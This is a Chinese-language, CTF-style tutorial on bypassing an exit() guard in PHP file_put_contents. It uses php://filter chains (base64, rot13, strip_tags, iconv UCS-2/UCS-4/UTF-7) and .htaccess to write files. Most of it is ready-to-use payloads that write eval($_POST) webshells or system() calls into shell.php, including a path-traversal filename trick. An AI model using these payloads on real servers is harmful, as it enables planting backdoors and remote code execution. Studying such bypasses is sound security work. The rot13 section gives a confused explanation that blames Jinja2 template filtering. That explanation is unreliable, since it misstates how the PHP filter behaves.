php死亡exit()绕过
需要绕过exit()的地方一般都是file_put_contents
大致有如下三种
1 | file_put_contents($filename,"<?php exit();".$content); |
tips:伪协议处理时会对过滤器urldecode一次;面对不可用的规则是报个Warning,然后跳过继续执行
第一种情况
1 | file_put_contents($filename,"<?php exit();".$content); |
base64编码绕过
1 | filename=php://filter/convert.base64-decode/resource=shell.php |
利用php://filter 伪协议 先将 <?php exit();”.$content 也就是 <?php exit();aPD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg== 内容解码后再写入 shell.php 文件中
1 | <?php @eval($_POST['shell']);?>`base64编码后为`PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg== |
前面加个a的原因是base64解码以4个字节为1组转换为3个字节
前面的<?php exit(); 符合base64编码的只有phpexit这七个字节,因此添加一个字节来满足编码
<? 空格 ; 为什么不算呢?
Base64 解码时,符号的处理方式
在 PHP 中,base64_decode()
只处理 Base64 允许的字符,即:
A-Z
a-z
0-9
+
和/
=
(填充符)
任何不在这个范围内的符号(例如空格、<
, ?
, ;
):
- 如果出现在 Base64 数据中,可能会被忽略、导致解码失败,或者返回
false
(如果strict
参数为true
)。 - 但
base64_decode()
不会把它们当作特殊字符处理,它只是单纯地按照 Base64 规则解析。
所以base解码并不会识别<? 空格 ; 也就是只有七个字节需要加一个字节来凑一下 使其满足编码
解码 <?php exit();aPD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg== 的结果
rot13编码绕过
1 | filename=php://filter/string.rot13/resource=shell.php |
原理同上 因为rot13编码不用考虑前面的字符长度,更为方便
1 | <?php exit();<?cuc @riny($_CBFG[furyy]);?> |
解码结果
但有局限性,如果开启了短标签的话,前面内容就会解析,导致代码错误
1 | <?php @eval($_POST[shell]);?>-><?cuc @riny($_CBFG[furyy]);?> |
通过string.rot13过滤器解码后的结果为<?php @eval();?>
1 | <?php |
原因:
这是因为 string.rot13
只是对字符串进行 逐字符的字母轮换,它不会智能地还原原始结构。
当你看到的“解码结果”是:
1 | <?php @eval();?> |
这是因为解码过程中 $_CBFG[furyy]
变成了 $_POST[shell]
被过滤掉了!
大多数模板或过滤器系统(比如 Jinja2 的 {{ "..."|rot13 }}
)对变量引用是不支持或被转义的,因此:
- 你原始 ROT13 编码后得到的:
<?cuc @riny($_CBFG[furyy]);?>
- 当你使用
rot13
过滤器进行解码时,
字母部分cuc
、riny
会正确变回php
、eval
,
但$_CBFG[furyy]
部分常常被 模板系统安全机制 忽略或清洗掉,
所以你最后只看到<?php @eval();?>
🔎 举个小例子说明:
1 | {{ "<?cuc @riny(\$_CBFG[furyy]);?>" | rot13 }} |
理想解码结果是:
1 | <?php @eval($_POST[shell]);?> |
但如果模板系统转义了 \$_CBFG[furyy]
,只还原字母部分:
1 | <?php @eval();?> |
所以这里木马不好注入我们直接执行命令就可以了
1 | <?cuc flfgrz('yf');?>-》<?php system('ls');?> |
过滤器嵌套绕过
1 | filename=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php |
string.strip_tags 可以过滤掉html标签和php标签里的内容 然后再进行base64解码
第一行为执行strip_tags的结果
第二行对strip_tags执行的结果进行base64解码
需要注意的是string.strip_tags
在php7.3.0以上的环境下会发生段错误,从而导致无法写入,php5则不受影响
.htaccess的预包含利用(本地没有成功,我记得我之前成功过一次啊 奇怪)
自定义包含flag文件
1 | filename=php://filter/write=string.strip_tags/resource=.htaccess |
第二种情况
1 | file_put_contents($content,"<?php exit();".$content); |
直接base64不行
1 | php://filter/write=convert.base64-decode|PD9waHAgcGhwaW5mbygpOz8+|/resource=shell.php |
默认情况下base64编码是以 =
作为结尾的,所以正常解码的时候到了 =
就解码结束了
rot13
rot13编码就不存在base64的问题,所以和前面base64构造的思路一样👇
1 | content=php://filter/write=string.rot13|<?cuc @riny($_CBFG[furyy]);?>|/resource=shell.php |
这种方法是需要服务器没有开启短标签的时候才可以使用(默认情况是没开启的:php.ini中的short_open_tag(再补充一下,linux下默认是没有开启的))
convert.iconv.*过滤器
convert.iconv.*过滤器等同于用iconv()
函数
1 | php://filter/convert.iconv.源编码.目标编码/resource=文件名 |
其中的 convert.iconv.XXX.YYY
实际就是调用了 iconv()
函数,将文件内容按编码转换。
USC-2
poc
1 |
|
通过usc-2的编码进行转换;对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)
利用 UCS-2LE -> UCS-2BE 的反转特性
UCS-2LE 和 UCS-2BE:
- UCS-2LE 是 UCS-2 的 Little Endian(小端序) 编码
- UCS-2BE 是 UCS-2 的 Big Endian(大端序) 编码
如果你将一段 UCS-2LE 编码的文本转为 UCS-2BE,本质上就是 每两个字节换个位置。
举个例子:
1 | 字符串 "A" 的 UCS-2LE 表示: 0x41 0x00 |
因此,我们就可以通过“构造 UCS-2LE 编码的文件内容”,再通过流包装器转成 UCS-2BE,最终得到我们想要的 payload。
1 | echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[1234]);?>'); |
执行结果是 ?<hp pe@av(l_$OPTS1[32]4;)>?
1 | payload:?content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTS1[32]4;)>?/resource=shell.php |
写入之后是
这种也是可以成功执行<?php @eval($_POST[1234]);?>这一串php代码的
USC-4
poc
1 |
|
1 | echo iconv("UCS-4LE","UCS-4BE",'<?php @eval($_POST[1234]);?>'); |
1 | hp?<e@ p(lavOP_$1[TS]432>?;) |
这个跟上面usc-2是一样的
1 | ?content=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$1[TS]432>?;)/resource=shell.php |
使用utf-8转为utf-7
poc
1 |
|
=
转化为了+AD0-
,因此可以结合base64来绕过
1 | echo iconv("utf-8","utf-7",'='); |
输出结果:+AD0-
1 | <?php @eval($_POST[123456789]);?>base64后为PD9waHAgQGV2YWwoJF9QT1NUWzEyMzQ1Njc4OV0pOz8+,utf-7后为PD9waHAgQGV2YWwoJF9QT1NUWzEyMzQ1Njc4OV0pOz8+ |
最终payload:
1 | ?content=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|aaaaaaPD9waHAgQGV2YWwoJF9QT1NUWzEyMzQ1Njc4OV0pOz8+|/resource=shell.php |
组合拳
一
1 | content=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=Cyc1e.php; #同样需要补位,这里补了一个x |
二
1 | $a='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php'; #base64编码前补了AA,原理一样,补齐位数 |
转码后的结果
1 | UTF-8:php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php |
这样就成功的把 = 给转了,base64编码没有受到影响,一样可以正常的解码~
所以对于base64的运用,只要找到一个能把 = 转了同时又不影响base64编码后的字符的转码方式即可
三
strip_tags方法&&base64的组合,不过之前构造的这种方法有局限性,要求服务器是linux系统
因为前面strip_tags去除的是完整的标签以及内容,而base64要求中间不能出现 =
所以把他们二者组合起来👇
1 | content=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+.php; |
为什么说这种构造Windows不行呢,因为Windows不支持文件名中有?
、>
这类字符。
如果觉得文件名太难看了,那么可以利用../
来构造👇
1 | content=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php |
把?>PD9waHAgcGhwaW5mbygpOz8+
作为目录名(不管存不存在),再用../
回退一下,这样创建出来的文件名为Cyc1e.php,这样创建出来的文件名就正常了
第三种情况
1 | filename=shell.php |
但如果过滤了php及起始结束符号的话,就要考虑写.htaccess
1 | filename=.htaccess |